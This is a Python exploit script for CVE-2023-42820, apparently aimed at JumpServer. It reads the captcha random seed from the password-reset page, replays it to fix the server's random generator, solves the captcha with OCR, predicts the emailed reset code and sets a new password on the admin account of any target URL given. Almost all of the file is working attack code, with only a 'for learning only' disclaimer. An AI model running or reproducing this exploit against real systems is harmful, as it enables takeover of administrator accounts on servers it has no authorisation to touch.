# -*- coding: utf-8 -*-
import argparse
import io
import random
import re
import string
import sys
import time
from urllib.parse import urljoin, urlparse, parse_qs
import ddddocr
import httpx
from bs4 import BeautifulSoup
from PIL import Image
from loguru import logger
# Init logger
logger.remove()
logger.add(
sys.stdout,
format='{time:YYYY-MM-DD HH:mm:ss} - {level}\t- {message}',
)
# CVE-2023-42820
DEFAULT_HEADERS = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
}
DEFAULT_PROXY = {}
DEFAULT_USERNAME = 'admin'
DEFAULT_EMAIL = 'admin@mycomany.com'
def banner():
print('''
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ █████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ██║ ██║╚════██╗██╔══██╗╚════██╗██╔═████╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝ █████╔╝██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗██╔═══╝ ████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║███████╗╚█████╔╝███████╗╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝ ╚════╝ ╚══════╝ ╚═════╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: 代码仅供学习使用,请勿用于其他用途
''')
def client_init():
client = httpx.Client(
headers=DEFAULT_HEADERS,
verify=False,
proxies=DEFAULT_PROXY,
follow_redirects=True,
timeout=10,
)
return client
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, '!#$%&()*+,-.:;<=>?@[]^_~']
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
can_startswith_special_char = args_true_count == 1 and special_char
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
while True:
password = list(random.choice(chars) for _ in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
continue
else:
break
password = ''.join(password)
return password
def generate_password():
punctuation = ["_", "@"]
sys_rand = random.SystemRandom()
special_passwd = [sys_rand.choice(punctuation)]
lower_passwd = [sys_rand.choice(string.ascii_lowercase) for _ in range(4)]
upper_passwd = [sys_rand.choice(string.ascii_uppercase) for _ in range(4)]
digit_passwd = [sys_rand.choice(string.digits) for _ in range(3)]
passwd_list = lower_passwd + special_passwd + upper_passwd + digit_passwd
random.shuffle(passwd_list)
return ''.join(passwd_list)
class SeedVuln:
def __init__(self, target: str, client: httpx.Client, **kwargs):
self.seed = None
self.captcha_seed = None
self.captcha = None
self.reset_token = None
self.target = target
self.client = client
self.username = DEFAULT_USERNAME
self.email = DEFAULT_EMAIL
if kwargs:
self.username = kwargs.get('username')
self.email = kwargs.get('email')
logger.warning(f'Using account: {self.username} / {self.email}')
else:
logger.warning(f'Using default account: {self.username} / {self.email}')
def _get_csrftoken(self, csrf_text: str):
try:
soup = BeautifulSoup(csrf_text, "lxml")
csrfmiddlewaretoken = soup.find('input', {'name': 'csrfmiddlewaretoken'}).get('value')
logger.success(f'csrfmiddlewaretoken: {csrfmiddlewaretoken}')
return csrfmiddlewaretoken
except Exception as error:
logger.exception(f'failed to get csrftoken from {self.target}: {error}')
sys.exit('Get csrfmiddlewaretoken failed')
def _get_seed(self):
seed_url = urljoin(self.target, "/core/auth/password/forget/previewing/")
try:
seed_resp = self.client.get(url=seed_url)
soup = BeautifulSoup(seed_resp.text, "lxml")
seed = soup.select_one('.captcha').get('src').split('/')[-2]
logger.success(f'Seed: {seed}')
return seed
except Exception as error:
logger.exception(f'Get seed from {self.target}: {error}')
sys.exit('Get seed failed')
def _fix_seed(self):
logger.info(f'Sending request to fix seed: {self.seed}')
def _request(u: str):
seed_resp = self.client.get(url=u)
assert seed_resp.status_code == httpx.codes.OK
assert seed_resp.headers['Content-Type'] == 'image/png'
fix_url = urljoin(self.target, '/core/auth/captcha/image/' + self.seed + '/')
for idx in range(30):
_request(fix_url)
def _nop_random(self):
random.seed(self.seed)
for i in range(4):
random.randrange(-35, 35)
for p in range(int(180 * 38 * 0.1)):
random.randint(0, 180)
random.randint(0, 38)
def _calculate_captcha(self):
try:
self.captcha_seed = self._get_seed()
image_url = urljoin(self.target, 'core/auth/captcha/image/' + self.captcha_seed + '/')
image_resp = self.client.get(url=image_url)
img_bytes = Image.open(io.BytesIO(image_resp.content))
# 图片识别
ocr = ddddocr.DdddOcr()
res_code = ocr.classification(img_bytes)
# 计算验证码结果
if len(res_code) >= 3:
operator = re.findall(r"[+\-*/x]", res_code)[0]
operands = re.findall(r"\d+", res_code)
a, b = map(int, operands)
if '+' or 'x' in operator:
self.captcha = a + b
if '-' in operator:
self.captcha = a - b
if '*' in operator:
self.captcha = a * b
if '/' in operator:
self.captcha = a / b
logger.success(f'Calculation result:{self.captcha}')
except Exception as error:
logger.error(error)
def _get_reset_token(self):
while self.reset_token is None or self.reset_token == "":
self._calculate_captcha()
url = urljoin(self.target, '/core/auth/password/forget/previewing/')
reset_csrf = self.client.get(url=url)
assert reset_csrf.status_code == httpx.codes.OK
reset_csrftoken = self._get_csrftoken(reset_csrf.text)
data = {
'csrfmiddlewaretoken': reset_csrftoken,
'username': self.username,
'captcha_0': self.captcha_seed,
'captcha_1': self.captcha,
}
token_resp = self.client.post(url=url, data=data)
assert token_resp.status_code == httpx.codes.OK
parsed_url = urlparse(str(token_resp.url))
query_dict = parse_qs(parsed_url.query)
reset_token = query_dict.get('token', [''])[0]
self.reset_token = reset_token
logger.success(f'Get reset token: {self.reset_token}')
def _send_code(self):
url = urljoin(self.target, '/api/v1/authentication/password/reset-code/?token=' + self.reset_token)
data = {
'email': self.email,
'sms': '',
'form_type': 'email',
}
time.sleep(10)
response = self.client.post(url=url, json=data, follow_redirects=False)
if response.status_code == httpx.codes.OK:
logger.success(f'Send code : {response.status_code}')
def reset_passwd(self, code: str):
forgot_url = urljoin(self.target, '/core/auth/password/forgot/?token=' + self.reset_token)
forgot_csrf = self.client.get(url=forgot_url)
assert forgot_csrf.status_code == httpx.codes.OK
forgot_csrftoken = self._get_csrftoken(forgot_csrf.text)
forgot_date = {
'csrfmiddlewaretoken': forgot_csrftoken,
'email': self.email,
'form_type': 'email',
'sms': '',
'code': code
}
forgot_resp = self.client.post(url=forgot_url, data=forgot_date)
reset_url = forgot_resp.url
reset_csrf = self.client.get(url=reset_url)
assert reset_csrf.status_code == httpx.codes.OK
reset_csrftoken = self._get_csrftoken(reset_csrf.text)
new_passwd = generate_password()
data = {
'csrfmiddlewaretoken': reset_csrftoken,
'new_password': new_passwd,
'confirm_password': new_passwd
}
passwd_resp = self.client.post(reset_url, data=data, follow_redirects=False)
if passwd_resp.status_code != 302:
logger.warning(f'Reset password failed')
sys.exit()
logger.critical(f'Reset Password: {new_passwd}')
def exp(self):
# 获取并保留 验证码1 seed
self.seed = self._get_seed()
# 获取 验证码2 seed、csrftoken、计算的验证码结果: POST成功后得到 reset_token
self._get_reset_token()
# 批量重放 验证码1 seed
self._fix_seed()
self._nop_random()
# 给重置密码的接口发送带有 reset_token 的请求
self._send_code()
# 计算验证码
code = random_string(6, lower=False, upper=False)
# 更改随机密码
self.reset_passwd(code)
if __name__ == '__main__':
banner()
parser = argparse.ArgumentParser(description='CVE-2023-42820 by C1ph3rX13.')
parser.add_argument('-t', '--target', type=str, required=True, help='Target Url')
parser.add_argument('-e', '--email', type=str, required=False, help='Account Email')
parser.add_argument('-u', '--username', type=str, required=False, help='Account Username')
parser.add_argument('-p', '--proxy', type=str, required=False, help="Proxy Url")
args = parser.parse_args()
if args.proxy:
DEFAULT_PROXY = {'all://': f'{args.proxy}'}
c = client_init()
if args.username is not None or args.email is not None:
cve = SeedVuln(args.target, c, username=args.username, email=args.email)
else:
cve = SeedVuln(args.target, c)
cve.exp()